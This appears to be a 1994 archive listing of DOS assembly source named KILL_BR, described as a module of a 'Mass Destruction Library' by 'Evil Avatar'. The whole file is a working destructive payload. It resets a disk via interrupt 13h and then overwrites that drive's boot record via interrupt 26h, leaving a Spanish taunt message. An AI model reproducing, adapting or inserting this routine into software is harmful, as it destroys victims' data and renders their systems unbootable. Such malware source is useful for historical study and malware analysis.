home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / LAVIUPD3.ZIP / LAVI13.ZIP / KILL_BR.RTN < prev    next >
Text File  |  1994-01-06  |  1KB  |  33 lines

  1. ;KILL_BR - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3.  
  4. eldrive equ 0 ; Drive cuyo boot se va a sobreescribir (0=A,etc.)
  5.  
  6.         mov al,eldrive
  7.         mov dx,offset texto3   ; Texto con el que se va a
  8.                                ; sobreescribir
  9.         jmp kill_br
  10.         texto3 db 'TE GUSTA TU NUEVO BOOT RECORD??'
  11. kill_br:
  12.         push cx
  13.         push dx
  14.         push ax               ;Save regs that will be changed
  15.         cmp ax, 2             ;If drive is not a hard drive, then
  16.         jb kill_br1           ;jump to kill_br1
  17.         add ax, 78h           ;else, set up for hard drive 
  18. kill_br1:                     
  19.         xchg ax, dx           ;drive number must be in dl
  20.         xor ax, ax            
  21.         int 13h               ;reset the disk
  22.         jc kill_br2           ;if error, quit
  23.         pop ax                ;restore disk number
  24.         mov cx, 1
  25.         xor dx, dx
  26.         int 26h               ;overwrite boot record
  27.         push ax
  28. kill_br2:        
  29.         pop ax
  30.         pop dx
  31.         pop cx                ;restore regs and return
  32.         ret
  33.